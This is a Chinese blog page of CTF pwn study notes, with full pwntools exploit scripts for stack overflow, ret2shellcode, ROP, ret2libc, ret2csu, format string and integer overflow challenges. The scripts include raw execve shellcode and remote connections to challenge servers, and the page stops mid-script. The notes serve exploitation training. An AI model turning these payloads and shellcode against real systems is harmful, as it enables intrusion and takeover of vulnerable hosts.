Fork me on GitHub
pikachu's Blog

study

前言

  • 学习记录

ret2text

ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

local = 1
pc = './ret2text'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()


if __name__ == '__main__':

target = 0x804863a

payload = b'a' * 0x6c
payload += b'b'*4
payload += p32(target)

sla('There is something amazing here, do you know anything?\n', payload)

pi()

cgpwn2

file & checksec

Analyse

  • hello 函数中存在 gets 栈溢出

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from ctypes import *

local = 0
pc = './dice_game'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 37517]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

elf = ELF('./cgpwn2')
system_plt = elf.plt['system']
name_addr = 0x804A080


sla(b'please tell me your name\n', '/bin/sh')

payload = b'a'*0x26
payload += b'b'*4
payload += p32(system_plt)
payload += p32(0xdeaddead)
payload += p32(name_addr)

sla(b'hello,you can leave some message here:\n', payload)

pi()

ret2shellcode

ret2shellcode-bamboofox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

local = 1
pc = './ret2shellcode'
aslr = False
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
#ret2libc3 = ELF('./ret2libc3')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

if __name__ == '__main__':
#debug()
#shellcode = asm(shellcraft.sh())
shellcode = b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
buf2_addr = 0x804A080

payload = shellcode.ljust(0x6c+4, b'a')
payload += p32(buf2_addr)

sl(payload)
pi()

sniperoj-pwn100-shellcode-x86-64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

local = 1
pc = './shellcode'
aslr = False
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
#ret2libc3 = ELF('./ret2libc3')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

if __name__ == '__main__':
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

ru('[')
buf_addr = rud(']')
buf_addr = int(buf_addr, 16)
lg('buf_addr', buf_addr)

payload = b'a' * (0x10+8)
payload += p64(buf_addr+0x10+8+8)
payload += shellcode_x64

sl(payload)

pi()

ret2syscall

ret2syscall-bamboofox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

local = 1
pc='./rop'
aslr = False
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
#ret2libc3 = ELF('./ret2libc3')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

if __name__ == '__main__':
'''
$ ROPgadget --binary ./rop --only "pop|ret" | grep edx
0x0806eb69 : pop ebx ; pop edx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret


$ ROPgadget --binary ./rop --only "pop|ret" | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
'''


#debug()
ru(b'This time, no system() and NO SHELLCODE!!!\n')

pop_edx_ecx_ebx_ret = 0x0806eb90
pop_eax_ret = 0x080bb196
binsh_addr = 0x80BE408
int80_addr = 0x08049421

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0)
payload += p32(0)
payload += p32(binsh_addr)
payload += p32(int80_addr)

sl(payload)
#pause()
pi()

Recho rctf2017

file & checksec

Analyse

  • 存在一个很明显的问题,就第二次可以输入的字符串大小是根据第一次输入的数字大小确定的,所以存在一个明显的栈溢出
  • 但是第一个问题是这个循环是个死循环,如果直接使用 close() 函数程序会直接退出,查询资料后发现 pwn 库中提供了 shutdown() 函数,他可以关闭 IO 流,即让循环正常退出
  • 既然使用 shutdown 函数,我们必须一次性将 payload 发送过去,这就导致我们不能使用内存泄漏来泄漏 system 函数,查询了一下字符串发现有一个 flag ,所以我们考虑使用系统调用完成,alarm,open,read,write函数的实现都是通过 syscall 实现的,我们选择将 alarm_got 覆盖成 syscall ,通过调试发现 syscall 就在 alarm 函数中 +5 的位置,那我们只需要让 alarm_got 指向的地址 +5 即可
  • 然后使用 open 系统调用打开文件流,再用 read 函数读取(fd是3,0,1,2已经分别被标准输入、标准输出、标准错误所占用),然后使用 write 或者 printf 输出

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
# from ctypes import *

local = 0
pc = './Recho'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

elf = ELF('./Recho')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 46687]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

# ROPgadget --binary ./Recho --only "pop|ret" | grep rax
pop_rax_ret = 0x00000000004006fc

# ROPgadget --binary ./Recho --only "pop|ret" | grep rdi
pop_rdi_ret = 0x00000000004008a3

# ROPgadget --binary ./Recho --only "pop|ret" | grep rsi
pop_rsi_r15_ret = 0x00000000004008a1

# ROPgadget --binary ./Recho --only "pop|ret" | grep rdx
pop_rdx_ret = 0x00000000004006fe

# ROPgadget --binary ./Recho | grep "add"
# 0x000000000040070d : add byte ptr [rdi], al ; ret
add_rdic_al_ret = 0x000000000040070d

alarm_plt = elf.plt['alarm']
alarm_got = elf.got['alarm']
printf_plt = elf.plt['printf']
flag_addr = 0x601058
buff_addr = 0x601800

'''
update alarm_got to syscall
'''
payload = b'a'*0x30
payload += b'b'*8
payload += p64(pop_rax_ret)
payload += p64(0x5)
payload += p64(pop_rdi_ret)
payload += p64(alarm_got)
payload += p64(add_rdic_al_ret)

'''
int f = open('flag', 'r') by syscall
'''
payload += p64(pop_rax_ret)
payload += p64(0x2)
payload += p64(pop_rdi_ret)
payload += p64(flag_addr)
payload += p64(pop_rsi_r15_ret)
payload += p64(0) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(alarm_plt)

'''
read(f, stdin, len) by syscall
'''
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_r15_ret)
payload += p64(buff_addr) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x30)
payload += p64(alarm_plt)

'''
printf(buf_addr)
'''
payload += p64(pop_rdi_ret)
payload += p64(buff_addr)
payload += p64(printf_plt)

payload = payload.ljust(0x200, b'\x00')

sla(b'Welcome to Recho server!\n', str(0x200))
sl(payload)
p.shutdown("send")

pi()

ret2libc

ret2libc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

local = 1
pc='./ret2libc1'
aslr = False
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
#ret2libc3 = ELF('./ret2libc3')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

if __name__ == '__main__':
binsh_addr = 0x8048720
system_plt = 0x8048460

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(system_plt)
payload += b'dead'
payload += p32(binsh_addr)

sl(payload)

pi()

ret2libc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

local = 1
pc='./ret2libc2'
aslr = False
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]


#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
#ret2libc3 = ELF('./ret2libc3')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

if __name__ == '__main__':
gets_plt = 0x8048460
system_plt = 0x8048490
buf2_addr = 0x804A080
binsh = b'/bin/sh\x00'

pop_ebp_ret = 0x0804872f

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(gets_plt)
payload += p32(pop_ebp_ret)
payload += p32(buf2_addr)

payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(buf2_addr)

sl(payload)
sl(binsh)

pi()

ret2libc3

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

local = 1
pc = './ret2libc3'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

ret2libc3 = ELF('./ret2libc3')
libc = ELF('./libc6_2.31-0ubuntu9.9_i386.so')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()


if __name__ == '__main__':
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
start_addr = ret2libc3.symbols['_start']

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(puts_plt)
payload += p32(start_addr)
payload += p32(libc_start_main_got)

sla(b'Can you find it !?', payload)

libc_start_main_addr = u32(p.recv()[0:4])
lg('libc_start_main_addr', libc_start_main_addr)

libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
lg('libc_base_addr', libc_base_addr)

libc.address = libc_base_addr
system_addr = libc.symbols['system']
binsh_addr = libc.search(b"/bin/sh").__next__()

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sla(b'Can you find it !?', payload)

pi()

train.cs.nctu.edu.tw: ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import *

local = 1
pc = './ret2libc3'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

ret2libc3 = ELF('./ret2libc3')
libc = ELF('./libc6-i386_2.27-3ubuntu1.5_amd64.so')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()


if __name__ == '__main__':
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
start_addr = ret2libc3.symbols['_start']

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(puts_plt)
payload += p32(start_addr)
payload += p32(libc_start_main_got)

sla(b'Can you find it !?', payload)

libc_start_main_addr = u32(p.recv()[0:4])
lg('libc_start_main_addr', libc_start_main_addr)

#libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
lg('libc_base_addr', libc_base_addr)

#libc.address = libc_base_addr
system_addr = libc_base_addr + libc.symbols['system']
#binsh_addr = libc.search(b"/bin/sh").__next__()
binsh_addr = libc_base_addr + libc.search(b"/bin/sh").__next__()

payload = b'a'*0x6c
payload += b'b'*4
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sl(payload)

pi()

ret2__libc_csu_init

hitcon-level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
from LibcSearcher import *
import time

local = 1
pc = './level5'
aslr = True
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

level5 = ELF('./level5')
#libc = ELF('./libc.so')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['111.198.29.45', 39802]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

'''
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

'''

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a' * 0x80
payload += b'b' * 8
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * (0x8*7)
payload += p64(last)
sn(payload)
time.sleep(1)

#debug()

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A

# rdi,rsi,rdx,rcx,r8,r9
# write(1,write_got,8)
ru(b'Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(rv(8))
lg('write_addr', write_addr)
'''
write_got = 0x7f6e0f5a30f0
read_got = 0x7f6e0f5a3020
__libc_start_main = 0x7f6e0f5a3ba0
'''

'''
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
'''
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
libc_base = write_addr - libc.symbols['write']
execve_addr = libc_base + libc.symbols['execve']
lg('libc_base', libc_base)
lg('execve_addr', execve_addr)

# read(0,bss_base,16)
# read execve_addr and /bin/sh\x00
ru(b'Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
#pause()
sn(p64(execve_addr) + b'/bin/sh\x00')

# execve(bss_base+8)
ru(b'Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)

pi()

Format String

int_overflow

file & checksec

Analyse

  • check_passwd 函数 v3 是 uint8 ,对 buf 进行了低字节截断
  • 3 =< v3 <= 8 ,所以 0x103 =< buf_size <= 0x108

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

local = 0
pc = './cgfsb'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 45109]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()


elf = ELF('./int_overflow')
system_plt = elf.plt['system']
cat_flag_addr = 0x8048960

sla(b'Your choice:', '1')
sla(b'Please input your username:\n', 'pwn')

payload = b'a'*0x14
payload += b'b'*4
payload += p32(system_plt)
payload += p32(0xdeaddead)
payload += p32(cat_flag_addr)
payload += b'c'*(0x103-len(payload))

sla(b'Please input your passwd:\n', payload)

pi()

CGfsb

file & checksec

Analyse

  • 23 行有个格式化字符串漏洞
  • 利用 %k$n 覆盖 pwnme ,需要找到偏移量,经过调试,如下图,偏移量是 10

  • 所以利用 %nc%k$n 达到覆盖 pwnme 的目的,可构造 [addr of pwnme]%4c%10$n

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

local = 0
pc = './cgfsb'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 48401]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()

payload = b'aa'
sla(b'please tell me your name:\n', payload)
#debug()
pwnme_addr = 0x804A068
payload = p32(pwnme_addr)
payload += b'%4c'
payload += b"%10$n"
sla(b'leave your message please:\n', payload)
#pause()
pi()

seed_overflow

dice_game

file & checksec

Analyse

  • rand() 生成的随机数和随机种子 seed() 有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到 seed() ,实现一个可预测的随机数列

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from ctypes import *

local = 0
pc = './dice_game'
aslr = False
context.log_level = True
context.terminal = ["tmux","splitw","-h"]

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc, aslr=aslr)
else:
remote_addr = ['61.147.171.104', 45961]
p = remote(remote_addr[0], remote_addr[1])

def debug(b=""):
gdb.attach(p, b)
pause()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8, '\x00'))
else:
return u64(rl().strip('\n').ljust(8, '\x00'))

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x, drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a, b)
sla = lambda a,b : p.sendlineafter(a, b)
pi = lambda : p.interactive()


libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)

payload = b'a'*0x40
payload += p64(1)
